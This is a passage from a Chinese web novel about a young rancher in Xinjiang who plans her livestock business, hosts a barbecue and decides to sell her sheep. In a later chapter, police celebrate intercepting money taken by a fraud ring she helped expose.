如果不想点赚钱的办法的话，除了卖牛羊，目前最近的能回款的地方就是鸭子了，但家里总共大大小小加起来鸭子有190只左右，公的有85只，还得留一些自己吃，就算卖也卖不了多少。 现在数量太少了，她就算想打出名头卖上价格也难，这得等规模扩大之后再说。 当然了，也得等她自己先吃上鸭子肉尝尝怎么样再说。 今年养的数量不算太多的一个主要原因就是她担心养不出太多风味，如果只是普通鸭子或者普通品质的话，那就少留一点，少养一点自家吃吃拉倒，但她希望从她牧场里出去的东西都能为人称道。 第152章 姚新泉想给鸭子熏制了。 当然了,也暂时只是一些想法罢了，她这儿也没什么熏制的秘方，自家吃的话怎么都好,但如果想做熟食的话她其实也有好多顾虑。 一方面是口味的问题,他们就是熏着自家吃,想放什么调料放什么调料,多一点少一点都无所谓,但要出售的话那口味肯定要足够好,但她哪来的本事自己研发？ 购买配方的话，谁会卖？除非钱特别多，但她可没钱去砸啊！ 另外熟食又是她完全没涉及过的领域，她没那个心力去做啊！包装什么的也都是问题,拉倒吧！ 其实让她来说,最好的想法就是找那种高档饭店来收,但前提就是鸭子品质得好，不然的话人家凭什么收？ 如果品质够好，她就算舔着脸去求师星野帮忙也能张得开嘴。 姚新泉摸了摸下巴,等半个月后杀两只尝尝看怎么样,要是好的话看不行去找师星野或者马老板？ 马老板搭上超市的便车之后今年生意倒是好做了不少，但高品质的东西不好找,他虽然不做肉鸭的生意,但是自己去找的话未必不能送到超市去。 反正再看吧！ 除了鸭子之外,珍珠鸡大概在九月底十月能肉用,10月能产蛋，鸭子的话11月左右产蛋，鹅大概年前能肉用，蛋的话得到明年开春了。 除了牛奶之外,下半年感觉都没什么能回钱的地方。 另外她还有个想法打算跟师月江商量商量再看，也只是个想法。 姚新泉按下心中的想法找了个耙子去翻一翻苜蓿，现在太阳大，大概晒上大半天也就差不多了，明天早晨再雇上几个人过来切苜蓿，然后摊开再晾一晾，下午去压实，明天一天应该能搞完。 前面忙的顾不上沥干了乳清的酸奶渣，姚新泉去检查了一下后稍微往里拌了点盐，放到盆里揉搓均匀，然后团成海棠果那么大的小圆球后放在篦子上摊开晾着。 她不喜欢太大的，吃着费劲儿，一个酸奶疙瘩半天吃不完，所以做的比较小。 搓了一大堆后她把酸奶疙瘩放下廊下的架子上晾干，随手拿了几个出去。 大马鹿好像还挺喜欢这个味道的，抽动着鼻子一副想吃的模样，姚新泉笑着塞了两个给他，小马鹿倒不喜欢。 皮皮和平安跑出去玩了，她在的话估计也喜欢。 姚新泉拿了个酸奶球去了小雪豹面前，小家伙蔫哒哒的，精神不是特别好，见着姚新泉过来也只是微微动了动耳朵，完全没理她。 姚新泉失笑，把酸奶球放在它面前的小碗里，给它顺了顺毛后便没再打扰它了。 小雪豹等姚新泉走了之后吸了吸鼻子，目光被碗里那白嫩嫩的东西所吸引，等了半天不见人回来，它这才小心靠近，一口咬住！ 它眯起了眼睛，香！ 姚新泉则是去了炽焰那里，她把超声仪翻了出来给炽焰检查了一下，这一看眼中满是惊喜，“你这恢复得不错啊！我现在给你把这个支架解掉，你可别瞎跑啊！” 见炽焰没反对，她小心翼翼剪断支架后让他尝试着自己站立。炽焰一开始很是不适应，但慢慢小走两步后差点便跑了起来，气得姚新泉一把揪住了他的耳朵！ “你皮痒了是吧？” 姚新泉揪着马耳朵，给他屁股上狠狠来了两巴掌，挨了打的炽焰也不生气，不停用脑袋去蹭她，姚新泉无奈地牵着他出去转了一圈，嘴里忍不住碎碎念，“骨折不是一天能好的，你现在走着不疼了不代表你跑起来也没问题。你慢慢走，一天走个五分钟十分钟的，然后慢慢适应，你要是上来就跑，你伤情恢复不好你可就见不到你战友了啊！” 也不知道炽焰听明白了没有，反正是老老实实跟在后面走。 姚新泉是想着回头等平安回来了让他跟着炽焰一起散步，平安现在小跑是没问题了，但是姚新泉还是不让他快跑更别说负重了，恢复都是要有一个过程的。 姚新泉用牛奶加糖发了面，她打算蒸点儿牛奶馒头，到时候把馒头切片烤香，再涂抹上她做的酱，肯定特别香。 姚新泉想了想，反正都要烤，不如晚上不做饭了，烤肉吃吧！ 说干就干，姚新泉骑着车就下山去买菜了，羊肉、牛肉、鸡肉还有一些蔬菜，签子是从人家烤肉店里直接买的。 上次收拾家里翻出了一个烤炉来，但是不知道签子在哪，她也懒得翻找了，买点拉倒。 调料什么的可以再买一点，家里孜然好像不多了，辣椒面也不够辣，而且是粗辣椒面，再买点细的。 姚新泉骑着三轮车买了一圈，路过姚晓洁家超市的时候刚好撞见她出来，姚晓洁便拉着她说话。 见她车厢里放了一堆食材又看到签子后才反应过来，“你们晚上打算烤肉啊？” 姚新泉笑着点头，“晚上不知道吃什么，烤点肉吃着玩。” 姚晓洁让她等一下，然后朝店里喊了两声，就见邓建发搬着两箱啤酒还有两箱雪碧过来放在车厢里。 姚新泉赶忙拒绝，“小姑你这是干嘛啊？你给我这么多干嘛？” 姚晓洁瞪眼睛，“什么干什么？你让小师这两天隔天给我送一桶牛奶过来我说不要了吗？你小姑就是干这个的，送你点儿啤酒咋了？我看那些小年轻就喜欢吃烧烤的时候喝啤酒。” “那啤酒是咱们新省自己产的，劲儿不小，你不一定喝的惯”，她拍了拍雪碧，“这雪碧咱们县应该就咱家有得卖”，姚晓洁脸上多了几分得意，“这东西叫什么碳酸饮料，咱们省偏远，咱们县更是个小破地方，这边都没配额的，我托了关系才搞到了一定配额，就因为这，我这个月的生意都好了不少呢！” 姚新泉见她这么意气风发的样子心里也高兴，她那便宜婆婆不作妖了，小姑父脾气温和，对她也好，家里什么事情都是小姑姑做主。 表弟虽然不着四六，但是年纪小，又在父母身边，总能管得过来的。 姚晓洁日子舒坦了，做人做事也没那么别扭了 ，姚新泉也乐意跟他们来往亲密一些。 “小姑你能耐啊，这雪碧我记得是八六年还是八几年才进入国内的，刚开始也就大城市有，咱们新省估计也就乌市那些地方稍微容易买一些，咱们县不少人都不知道这是啥呢！” 姚晓洁拍了下脑袋，“你看我还跟你吹呢，你在上海待了几年，你啥没见过啊！” 想了想她拉着姚新泉不让走，“新泉，你见多识广，你跟小姑说说说还有啥进回来会好卖？” 姚新泉想了想，姚晓洁这个商店不算小，几百平是有的，粮油副食品这些有，方便面有，烟酒茶也有，当然了都是很平价的那种。 洗衣粉、肥皂、火柴、蜡烛、锅碗瓢盆、暖瓶，还有零食之类的基本都有。 姚新泉环顾了下四周想了想道，“小姑你进一点儿文具吧！” “文具？”姚晓洁迟疑，“我进了啊，本子、笔我这里都有呢！” 姚新泉摇了摇头，“品种多呢！比方说你进一点水彩笔、蜡笔之类的，还有带一些图案印花的笔、橡皮这些。另外还有一些带锁的本子或者封面可爱一点的本子，再去市里问问有没有那种小虎队或者美少女战士之类的贴纸、海报。你到时候自己衡量着价格，太贵的就算了，咱们这儿消费水平一般。” 不过消费水平再一般的地方，能上学的孩子手里大多数还是有些钱的。 “你这店的位置好，周围小学初中都有，高中也不远，人家下课了就能溜达过来。” “你再看看进一点头绳、发箍之类的小饰品，这东西再贵也贵不到哪里去，小姑娘就喜欢这些！” 她大概讲了讲自己的想法，听得姚晓洁恨不得拿个本儿记下来，她用胳膊碰了下邓建发，“瞧我们家新泉”，邓建发无奈，知道她嘴里没说出的话是再瞧瞧你家小辈儿！ “新泉你不知道吧，就他家那个在医院上班的小辈儿，前几天因为收病人家属的红包被通报批评了！”姚晓洁眉眼都在放光，死老太婆的大孙子可是她日日都挂在嘴边的能耐孩子，结果就这？ 姚新泉无奈，反正她高兴也挺好的。 姚晓洁又拉着她问了一堆，最后还是邓建发实在看不过去了，“晓洁，孩子还得回去做饭呢！” 姚晓洁终于放手，姚新泉赶忙离开。她这个小姑啊，连她那便宜婆婆对门的邻居是用什么语气打电话跟她通风报信的她都学的惟妙惟肖。 姚新泉没再耽搁时间，等骑上车到家得时候就看到师月江正在往外捡馒头呢。 “你这胆子可真大，炉子上还烧着火呢你就敢往外跑”，师月江无奈，他回来的时候发现姚新泉不在家，馒头还在锅上人都傻了。 “我又没用煤气灶！炉子底下的柴火大概能烧多久我心里有数，而且我柴火都填进去了，也不会掉下来。锅里水也多，又是在院子里，柴火没了，火就灭了，就你大惊小怪！” 师月江莞尔，“行吧行吧，是我不好，是我瞎操心了，你这是要烤肉？” 姚新泉用力点头，“买了好多肉呢，快去准备！” 第153章 师月江把啤酒和雪碧搬了出来,放了五六瓶在冰箱里面，姚新泉有些奇怪，“放冰箱里干嘛啊？” 师月江笑道,“这东西冰镇的可比常温的要好喝,咱们到时候可以冻点儿冰块,到时候你要喝个饮料什么的也能放进去。” 姚新泉这才反应过来用力拍了下额头,“我都没反应过来,大城市人家就在卖冰镇的啤酒”,他们县的商店或者超市里基本没有冰箱，就算有，那也是冰柜，冻上点雪糕去卖,专门冷藏的倒没有。 姚新泉在择菜,师月江切肉腌肉,一旁的小家伙们还没吃上晚饭闻着味儿就过来了。 师月江被狗狗军团堵在中间，茫然又无助地看向姚新泉，“新泉”。 姚新泉忍不住哈哈大笑,“人家饿了嘛！” 七点多的天还大亮着,但温度已经不如白天灼热了。姚新泉穿着一件浅蓝色的宽松短袖、牛仔裤，脚上踩着一双朴素的解放鞋,高高的马尾辫扎在脑后,碎发被晚风吹到了嘴里,她忍不住噗噗往外吐头发,看得师月江也忍不住笑了起来，“活该！” “我留了点儿不腌制的肉给他们烤，另外再给他们煮几个蛋？” 姚新泉拦住了，“行了,不那么麻烦了，就给他们吃烤肉，锅里不是还有我的奶香小馒头吗，又有蔬菜，营养丰富！” 她养牧羊犬说细致也细致，说随意也随意。 最开始她确实会按照警犬中心的配方给他们做狗饭，但是时间长了真顾不上！ 就像前一阵子，家里牛集中生产，就算有师月江帮趁着他们俩都抽不出时间来专门做狗饭啊！ 所以有时候没时间了她就自己吃什么便给狗吃什么，顶多提前盛出来再撒盐。 像今天，烤肉吃起来本来就慢，他俩这最起码得吃到八九点去，那是真不想给他们做了。 至于说细致，这时候农村养狗能给口吃的就不错了，有什么就给它拌点麸皮，用开水烫熟那就是不错的，不少就凉水拌一下，狗也吃得香甜。 要是让人家知道她每天都给狗吃肉，人家眼睛都得吓得掉出来！ 姚新泉看他正在切肉便道，“我买了牛肉，就牛腩那块儿，我不喜欢太肥的就没买牛油那些，你就切小块儿就行。羊肉的话我买了羊排和羊腿肉，羊排我没让人家剁，咱直接整根去烤，羊腿肉就切块，咱们串一下。猪肉我也买了肋排还有腿肉跟五花肉，我喜欢吃五花肉！” 五花肉厚切，烤的焦香又油汪汪的，想起来她都忍不住咽口水。 “家里还有马肠子，切薄片来烤也香！我还买了蘑菇、茄子”，想到什么她突然站起来往外走，师月江愣了一下，也跟着追了两步，“你干嘛去？” “掰包谷！屋子后面我之前不是点了些玉米嘛，长得还不错，我都没想起来吃，可以烤啊！” 师月江忍俊不禁，“我还以为咋了”。 姚新泉嘿嘿一笑，“你快切你的肉去！” 掰回五根玉米后姚新泉剥皮后全煮了，打算烤一根，剩下的放在冰箱了明天吃。 她把苞谷煮上后又跑去门口把自己之前扔在门口的两颗玉米杆子拿了过来，坐在师月江身边收拾。 “你这是做什么？” “这你就不知道了吧？咱家这是甜玉米，玉米杆子里也有甜味，我剥开你尝尝哈！”她把玉米杆子的外皮都剥掉后从中间掰断，又把外面那层硬皮也剥掉，只留一层软却带着水分的芯。 她一口咬了下去，只感觉到微微的阻力后便听到了咔嚓一声，接着内芯的汁水便在口中爆开。其实真说起来不算纯甜，更多的是清甜。 清甜中又带着淡淡的草木香，她很喜欢这种味道。吃这个内芯其实有点像啃甘蔗，但是区别不小。 甘蔗的纤维感更重，甚至有可能会扎嘴，甜度也更高。 姚新泉不喜欢啃甘蔗就是觉得太硬了，嚼的费劲，但这个玉米芯就还好。 她又掰了一节塞到了师月江嘴里，师月江咬了一口把汁水咽下去还有些新奇，“还挺甜啊！” “玉米跟玉米也不一样的，像是咱家这种甜玉米会有甜味，但甜度跟甘蔗那些也没法儿比，当然了，咱们这儿也没甘蔗”，这边的产糖作物只要是甜菜，甜菜疙瘩的含糖量也很高，所以也不怎么缺糖吃。 “像是咱牧场上那个青贮玉米就不行了，那本身就是给牲畜吃的，淀粉含量高，甜度低，完全不一样。” 把菜洗干净后她跑到仓库去翻了一袋儿碳出来，这还是之前她爸妈在的时候买的，估计是两人自己在家烤肉吃了。 姚爸姚妈对孩子跟弟妹好，但不代表两人就会委屈自己了。早年还是双职工的时候条件在这一片都算拔尖儿的，如果不是因为给弟弟妹妹们结婚成家，两人手上得存不少钱。 后 来出来单干了，苦归苦，累归累，但是有钱赚啊，所以两人更不抠搜了，也不会说闺女不在家就自己委屈自己。要不是下山一趟还怪麻烦的，两人得隔三差五下山下馆子。 她把碳倒在院子里，家里也没什么喷火枪之类的她找了点干麦草点燃放在碳堆中间，不一会儿火便烧了起来。 师月江这时候也把肉都切好了，姚新泉拿了几个盆过来，把切好的肉都放了进去，又拿了调料过来开始腌制。 她买的肉都是人家刚杀完的，都很新鲜，也没怎么调味，就放了点盐。 她又把洗好的蔬菜拿出来控干水分，让师月江去切了点儿蒜末回来。 把一切都准备好后姚新泉这才拍了拍手上的灰，“好了，咱们开始烤肉吧！” 师月江早就已经迫不及待了，闻言立刻站了起来，“走走走，烤肉去！” 两人把烤炉搬到了院子里，又把桌子和椅子都搬了出来，把食材和饮料都放在了桌子上。 姚新泉拿了几个盘子过来，把肉串儿都放了进去，又拿了几个刷子过来打算刷油。 师月江则是负责生火，他拿了把扇子不停地扇着，不一会儿火便旺了起来。 姚新泉把肉串儿放在了烤网上，开始刷油，随着滋滋作响的声音，肉的香味儿也飘散了出来，她抓了把孜然辣椒面洒了上去。 师月江忍不住咽了口口水，“真香啊！”倒也不是馋肉，但孜然辣椒面一遇到火扑面而来那股香气真的绝了！ 姚新泉笑了笑，“等会儿让你吃个够！” 她也顾不上说话，等肉串儿烤好了，赶紧接过师月江递过来几个盘子过来把肉串儿都装了进去，“尝尝，尝尝，淡不淡？淡的话我再撒点盐？” 姚新泉拿了一串牛肉，牛腩的雪花纹路早已融化成晶莹的油光，肥膘部分烤得半透明，瘦肉的肌理撕开时能看见拉丝的纹理。一口咬下去汁水四溢，外焦里嫩，牛肉的香味跟孜然和辣椒面的香气在口中爆开，她满足地点了点头，“好吃！” 她又拿了一根羊排骨，认真得说对于羊肉她最喜欢的吃法还是烤肉跟孜然羊肉这种，香料的味道加上羊肉本身的味道一融合，那叫一个香！ 不过像是清炖羊肉她就不算特别喜欢了，她很挑清炖羊肉的肉质，她很怕膻。 羊排边缘泛起金棕色脆壳，咬下去先是咔嚓一声，接着是粉红色肉芯涌出的汁水，带着草原牧草般的清甜，纤维分明。肉的表层烤出琥珀色的焦糖光泽，孜然粒嵌在□□里，每嚼一下都迸出混合着香料味的浓郁肉香。 姚新泉被烫的嘴里不停嘶嘶，但肉那是一口不肯少吃，看得师月江笑得不行，赶忙开了一罐雪碧递给她，“再把你嘴里给烫坏喽！” 姚新泉哼了一声，两人把手上的这几块吃完后师月江便没再让她动手了。这碳算不上特别好的碳，一烤起来不免烟雾缭绕的，他便自己顶了上来。 小家伙们被肉味刺激的不行，都纷纷围在了烤炉旁边，眼巴巴地看着，几个调皮的还时不时还伸爪子去够，被姚新泉打了两下才老实。 “你给他们烤点儿，别放孜然跟辣椒”，小狗狗吃点盐是没问题的，他们本身也有盐分的摄入要求来维持正常的生理功能。 两人口味不算重，撒的盐也不多，所以给小家伙们烤一点吃吃是可以的。 “刚不是还有一小部分没腌的嘛，主要给他们烤这个吧！” 姚新泉只动嘴不动手，盘腿靠坐在椅子上舒服的不行，等着师月江给她烤肉。 狗狗们都围在师月江身边等着投喂，莱尼则是不声不响的到了姚新泉身边，把脑袋搭在了姚新泉的腿上。 姚新泉摸了摸她的耳朵，想了想干脆把孩子抱了起来，莱尼也不反抗，把头搭在了她的肩膀上。 师月江看得无奈，胆子也是够大的，莱尼那嘴一张，都能给她脖子咬掉…… 刚烤出来的肉也不能急着给小家伙们吃，他拿了两个盘子过来把肉从签子上扒拉下来放着，又给他们一个家伙烤了一根大骨头让他们抱着去啃。 看师月江那边忙得冒烟的样子，姚新泉嘿嘿笑了起来，不用干活真好！ 第154章 晚风吹着还挺凉爽的,姚新泉把头埋在莱尼身上深吸了一口气。这家伙本身就爱干净，也不喜欢跟别的小朋友挤在一起，也很少出去跑得一身汗回来,所以莱尼算是家里小朋友中少有的身上没有任何异味的。 莱尼贴在姚新泉脖子上,没忍住伸出舌头想舔她,结果舔到一嘴头发,看得师月江忍俊不禁。 他捏了一块儿没放调料的肉给莱尼放到嘴边,“可不许舔人知道吗？妈妈脸上都得被你舔掉皮的！” 莱尼叼着肉扭头不看他。 正吃着突然感觉到身后好像有小动物也过来了,两人看去就见马鹿、骆驼还有皮皮他们都跑了过来。 莱尼对马鹿的那对大角很是戒备，轻盈地从她身上跳了下来，隐藏到了角落里。 马鹿只是瞥了她一眼也没放在心上，他靠近姚新泉后优雅地趴在了她身边,姚新泉没忍住摸了摸他。 这种大型动物的手感其实都算不上太好,但是驯服这种大型动物的成就感便足够多了。 她把菜盆子端来,给素食的几只小动物们喂生菜。 “我想吃烤茄子，你给我烤一个呗，刷上油然后烤的软一些了之后切开,里面拌上蒜末”,姚新泉想到烤茄子的味道没忍住咽了下口水，肉吃多了就想吃点素的。 师月江笑着答应,“行,这就给你烤。”他起身去拿了几个茄子过来,刷上油后放在了烤网上。 北疆的茄子因为紫外线更强烈,光照也充足，所以皮会更厚一点，但甜度相对明显，肉质也更紧实,姚新泉还挺喜欢的。 茄子受热后慢慢变软，师月江不时地翻动着，确保烤得均匀。姚新泉则是继续享受着悠闲的时光，抱着又跑过来的莱尼，偶尔给围在身边的小动物们喂点吃的。 等茄子烤好后，师月江熟练地切开，把调了味的蒜末拌了进去，又撒了点盐，递给了姚新泉。 “尝尝，怎么样？” 姚新泉迫不及待地咬了一口，茄子烤得软糯，蒜香四溢，油汪汪的特别好吃。 “好吃，你也尝尝！” 师月江笑着摇头，“你先吃，我再给你烤几个。” 姚新泉有点遗憾，“该泡点儿粉丝来着，之前看人家烤茄子都放粉丝，我没想起来。” “这算什么大事儿？”师月江失笑，“家里炉子、碳啥都有的，你想吃回头再烤呗！” 姚新泉笑着点头，想到什么她突然问，“我前面还想跟你商量来着，我想把家里的细毛羊都卖掉。” 师月江一愣，“卖掉？一头都不养了？” 姚新泉点头，“嗯，一头都不养了！” 师月江有些犹豫，“可是咱家细毛羊养的好好的，就这么卖了是不是怪可惜的，而且这又是你爸妈当时 买的……” 姚新泉失笑，“我爸妈买的我还不能卖了？难不成我爸妈之前留下的牲畜我还得供着它们到老死？” 她知道师月江什么意思，就是留个念想嘛！ 她有时候夜深人静的时候也会突然愣住，哦，原来我再也没有爸爸妈妈了。 她很想他们，但日子总得正常过下去，又不是说因为父母去世了，所以就得把家里的所有牲畜都留下来啊？ 师月江也忍不住笑，“是我糊涂了。” 姚新泉朝他伸出了手，看着他的目光很温柔。 师月江其实是个很敏感的人，也非常重视感情，也是因为这他当初才会那么一蹶不振差点就彻底走不出来。 所以她想卖羊，师月江第一反应才会是自己会不会因为处置掉爸爸妈妈留给自己的东西而伤心。 她拉着师月江跟自己挤在一张椅子上，她靠在对方怀里，轻轻抱住他。 “爸爸妈妈如果知道的话，也只会希望我能照顾好自己，能天天开心，如果愿意的话再经营好牧场，别的都不算什么的。” 师月江轻轻碰了下她的头发嗯了一声，“怎么突然想到要卖羊的？手头紧了吗？我那边还有些钱，你立马要的话我那边估计有五十多万能拿出来，着急的话我再问我哥借一点或者出一套房子。” 姚新泉觉得好笑的同时也不免觉得心里暖暖的，“我没那么惨好嘛，我想卖羊是有原因的。” “我跟我小叔介绍给我的那位教授一直有联系，你哥介绍给我的张教授我也有在联系，他们有给我邮寄一些书籍、杂志之类的，我有一些自己的想法”，她有些不太好意思地舔了下嘴唇，“我自己胡乱分析的，你就随便听听哈！” 师月江示意她起身，聊这种事情还是庄重一些，他把凳子搬过来坐在姚新泉面前，“我不也是个门外汉？你可比我专业多了，我就随便听听。” “是这样”，姚新泉清了清嗓子，“八十年代的时候澳大利亚那边通过羊毛储备价格机制人为维持高价，导致全球羊毛库存积压。1991年，这个计划因为财政不可持续而崩溃，澳大利亚一次性释放将近470万吨的库存羊毛，导致国际羊毛价格暴跌50%以上”。 所谓的羊毛储备价格机制是澳大利亚政府于1970年设立的一项羊毛市场干预政策，目的是通过政府收购过剩羊毛来稳定市场价格，保障牧民收入。但是这个机制崩溃后直接导致全球羊毛价格暴跌。 澳大利亚是全球最大的羊毛生产国和出口国，他们在羊毛市场的份额将近占了世界的70%，这也是他们国家最重要的经济支柱之一。而羊毛作为大宗商品，价格受国际市场供需影响又比较大，所以国家出面调控价格，就想保障国民收入，但是政府介入太多了对市场也不好，反正现在就崩了。 “你之前不在咱们这边所以你感觉不到，其实这个事情早都影响咱们国内了，从前不知道是什么原因，现在知道了却也无力改变。而且除了这个原因之外，工业的进步导致涤纶、腈纶这些布都便宜了好多，消费者没有选择羊毛制品的必要”，姚新泉叹气，“当然了，真正的高端市场不可能放弃高品质的羊毛，但咱家的羊毛品质不错归不错，至少目前不一定够得上高端市场的，再说了，我也没那个销售渠道，而且要想保证养毛质量那也是要花费很多心血的。可要是进不了高端市场那价格就肯定会受影响”，她就是一个小牧民，能做的是顺应市场潮流，而不是逆流而上。 师月江想了想也点头，“像我的衣服，我哥他会定期给我买一批那些高档西装之类的许多还是羊毛制品，但我根本没有穿的场合，一般情况下我身上穿的也就只是纯棉的而已”，他不喜欢那些化工的布料，不吸汗。 “所以说啊，而且咱们也没直接对接的厂家，中间再过几手，价格就更上不去了，利润也低。” “我之前就跟你说过想搞繁育，但同时我还想搞育肥，市场上对羊肉的需求量很大，肉用比毛用更划算。” “你打算怎么处理？”500头母羊，羊羔到时候一生，加起来最起码一千来头了啊！ “看吧，先看看小羊羔的羊毛怎么样，我又用美利奴羊配的，质量应该还行，如果不错应该会有人愿意买去做毛用，做不了毛用那就肉用吧！” 师月江没意见，两人商量好后便继续烤起了肉，姚新泉吃了几个烤茄子后又吃了几串烤肉，吃得饱饱的，便靠在椅子上消食。 师月江则是又继续忙着烤肉，小家伙们围在他身边等着投喂，马鹿、骆驼他们也时不时地过来吃点儿素食。 晚风徐徐吹来，带来了阵阵凉爽，姚新泉闭上眼睛深吸了一口气，感受着这份宁静与美好。 她迷迷糊糊都睡着了，师月江手脚麻利地把该洗的该收拾的都收拾妥当后叫她回屋睡觉。姚新泉简单地洗漱了一下后便躺在了床上瞬间便睡着了。 姚新泉一晚上睡得很香，早晨起来跟师月江打了个招呼，就见师月江一脸懵地看着她，“你下巴不疼啊？” “下巴？什么下巴？”她伸手去摸，一碰到就忍不住嘶了一声。 姚新泉赶忙跑到卫生间照镜子，就见下巴上一颗硕大红肿的痘痘冒了出来。 姚新泉哀嚎一声，“估计是昨天晚上吃了太多烤肉上火了！” 师月江满脸都是笑意，“我早晨就热了几个小馒头，煮了牛奶，也算是清淡吧！”昨天姚新泉是蒸了馒头才想着烧烤，结果烧烤完根本忘了馒头，师月江只能收到冰箱里放着。 姚新泉哭丧着脸叹了口气，“吃！家里有晒得蒲公英，我得泡点儿水喝！” 蒲公英是他们每年都得晒得，到底是牧区，就算之前条件没那么好的时候，吃肉也比外面容易，所以大家习惯晒点儿蒲公英茶，清热解毒，便宜又方便。 她这蒲公英是今年刚晒的，去年太忙了忘了晒，今年她抽空就去挖一点回来晒着，这不就用上了？ 师月江弯着眼睛笑得不行，家里东西他都知道是放在哪的，再说了，这还是他俩一起晒得，他赶忙去找，“行行，我去泡！” 第155章 “领导,案件立案之后上面立马去联系截停了那家公司的外汇转账！” 田有生听到这话先是一愣，随即便是巨大的惊喜涌上心头，“截住了是吗？” 来人用力点头,“截住了！截住了！” 他语气中带了些哽咽,“有两笔钱五万美金的款已经到账了,只能后续再想办法看看能不能去追回来,但剩下的都拦住了！” 田有生用力握紧了拳头,最后还是没忍住重重锤在了桌子上,“好样的，都是好样的，你去把郭军给我叫来”，想了想又摆了摆手,“我去,我跟你一起去！” 田有生并不是当天就到的,他是接到消息之后连夜赶过来的，知道消息后他赶忙跟市里分局的郭军对接了一下，但他当时也不太清楚案情,也没办法现场参与,着急却也无计可施。 第二天一早过来就听说他们经过一晚上的审讯，已经确定了那些钱都已经被马进宝交给上家,然后转出去了。 马进宝也不清楚具体是通过那家公司或者什么形式转出的,也只是说了一鳞半爪,但这已经是很重要的消息了。 他到了之后立马安排人再去查那些对外的贸易公司,并通过公安厅往上报，希望还能来得及拦截。 但他当时其实没报什么希望。 从马进宝在本省第一次行骗开始到现在已经快一个月了，人家骗子总不可能还非得凑个整才能去转账吧？他是真觉得没戏了，但没想到,没想到啊！ 田有生到了公安们办公的地方，去了后拍了拍手，众人都看了过来，“同志们，告诉你们一个好消息，马进宝一行人骗到的钱绝大多数在出境前已经被截停，损失大幅度降低，同志们，你们立大功了！” 众人欢呼出声，“真的啊？领导你没开玩笑吧？” 田有生也不气，笑眯眯的模样与前两天刚过来时那要吃人的模样完全不同，“这么大的事儿，我倒是想骗，我敢吗？” 他凑上前去用力拍了拍郭军的肩膀，“郭同志啊郭同志，你们可立大功了！” 郭军自然不会在领导面前自傲，“也是在您的领导下”，不等他说完田有生便打断了他，“别说那些虚的，若不是你胆大心细，带的年轻人也各个儿都是好样的，仅仅因为报案人的只言片语你们就敢抓人，还真审出东西来了！” 当时的情况大家都以为马进宝还有个公职在身，又是在畜牧业协会演讲，那么多人在场的情况，他们贸贸然去抓人，压力特别大。如果抓错了那肯定要吃挂落。 可人家郭军就敢！ “你放心，你的功劳我都给你记上了！”又安排小同志们赶紧继续工作，他把郭军叫到了自己办公室，脸上还是满满的笑意。 “我都以为要来不及了”，郭军感慨道，田有生叹了口气，“谁说不是呢？不过主要也是因为对外贸易的转账流程太长了咱们才能来得及。” 对外贸易转账特别费劲儿，他家里闺女做的工作跟这个有关所以他了解一点，“企业需要向银行或外汇管理局提供有效的外贸合同、商业发票、提单或者海关单据等，证明交易真实，他们也会核查交易背景，防止虚假贸易套汇。当然了，前提还是企业得有外汇额度，如果没有额度，还需向外汇管理局申请或者想其他办法，像这次他们就是从别的企业买的外汇额度”，这家公司的资质什么的都有点问题，这种情况下，一家国企将自己的外汇额度卖给对方，完全不做审查， 这里面问题也不小。 “有了外汇额度，还得向银行申请购汇，而且每次汇款超过一定的额度都必须得向外汇管理局分次审批，审批通过后银行才会汇款。当然了，这中间无论是申请外汇额度还是申请购汇或者转账都需要时间，到账也要时间，算下来的话，最快要半个月，慢的话很可能要一个来月才行了。” 田有生说着说着便笑了起来，满是唏嘘，“以前总觉得这些单位办事效率太差，现在倒觉得差一点也挺好的！” 郭军也叹气，不过还是没揽功，“这次主要也是有个小同志警惕，没有轻信那些人的骗局，在发现事情不对之后，立马找到在我们分局上班的楼宇，他们听了后也觉得里面有猫腻，这才反馈给我。” 田有生自然是知道报案人是谁，也不禁感慨，“是啊，年纪轻轻的小姑娘有这样的警觉性和行动力，实属难得。对了，你记得跟小同志说一声，案子结了让她来局里一趟，我得亲自给她颁个奖，也得好好谢谢人家。” 郭军点头应下，心里也为姚新泉骄傲，他们分局能破获这起诈骗案，这位小同志可是功不可没。而且他还想着问问姚同志有没有写入党申请，这种有文化有能力又有正义的年轻人，不正是党内急需的人才吗？ 另外楼宇也算是他们这儿的小福星了！要不是姚同志有认识的公安，人家搞不好也不会过来报警。 “领导，那接下来我们是不是得顺着这条线继续查？”郭军问道。 田有生点头，“对，那些钱虽然被截停了，上面也在办手续尽快把钱追回来退给受害者，流出境内的钱有其他部门的同志继续追查，咱们查别的。马进宝的上家和下家都还得继续查，一个都不能放过！还有，马进宝他们也得继续审，看看还能不能审出点别的东西来。还有各地的公安局也抓紧联系受害者，确定好损失范围，估计这一两年这案子都是咱们省的大案了！” 郭军应声，又问道，“那报案人那边？” 田有生想了想，“也通知一声吧，让他们也知道案子进展，免得一直担心，还觉得咱们工作能力不行。” 郭军应下后便去安排了，田有生则是坐在办公室里，看着窗外的阳光，心情格外的好。 这起案子虽然还没告破，但能走到这一步实在是出乎他的意料。他本以为那些钱都已经转出去了，没想到还能截停，这实在是太好了。 他拿起茶杯喝了一口，又想起了那位素未谋面的姚同志，不知道她知道自己帮忙破的案子进展如此顺利，会不会也很开心？ 想到这里，他不禁笑了起来，福星，福星啊！ 要是她没发现，后面有没有人继续受骗暂且不提，只说上面反馈给他拦截下来的钱，换成人民币大概有300多万。 这是已经进入转账流程的钱，应该还有下游那边还没开始办转外汇的钱，这些加起来，估计又得近百万了。 马进宝他们的流程就是这样，每到一个市便联系当地的畜牧业协会，通过协会让会员来参会，然后主要在这些大会员中兜售。 因为畜牧业协会的存在本身就是为了能协调行业利益、推动规范化发展、增强市场竞争力的，那么不管是协会自身的意愿，还是说政府部门都更倾向于将大养殖户都拉到协会里去，渐渐形成本地畜牧业的风向标。 之前也说了，有些命令本身就是会层层加码的，上面是说鼓励大养殖户加入协会，到了下面那就是必须得加入，所以基本上规模大一些的养殖户都进了协会。 而那些散户见到大养殖户都纷纷购买了种羊后也不免跟风，就这样一家传一家，买的人越来越多，被骗的人也越来越多，所以损失才这么大。 这件事惊动公安厅，一方面就是因为受害者众多，一方面也是因为钱太大了。 但如今绝大多数都被追回了，想到这里田有生不免心里高兴，嘴里也哼起了小曲儿。 要新泉自然是不知道外面的情况的，此时她正在接待萨哈烈，姚新泉煮了一锅奶茶给他倒了一碗，萨哈烈喝了一口脸上满是笑意，“姚老板生意做这么大了还想到我啊！” 姚新泉被逗笑了，“我哪里来的什么生意，今年都在往里面砸钱呢！” 她也没兜圈子直接道，“我找你来主要两个事情，一个是我想再买一批羯羊，阉了的小公牛我也要，羊的话四五百头都行，牛的话一百头就差不多了。” 